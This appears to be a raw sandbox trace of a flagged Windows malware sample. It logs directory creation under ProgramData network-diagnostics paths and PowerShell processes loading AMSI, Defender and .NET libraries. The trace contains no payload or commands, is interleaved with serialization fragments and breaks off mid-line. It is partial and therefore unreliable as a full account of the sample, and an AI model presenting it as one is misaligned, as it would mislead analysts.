"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768815291 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1769252471 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1769331448 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-176936538433:T40b,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter 43003a00 (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter C:\ProgramData (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Network (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Network\Diagnostics (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50 (UID: 00000000-00004180) "powershell.exe" called "CreateDirectoryW" with parameter %WINDIR%\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell (UID: 00000000-00005432)34:T6f52,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00005432) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter 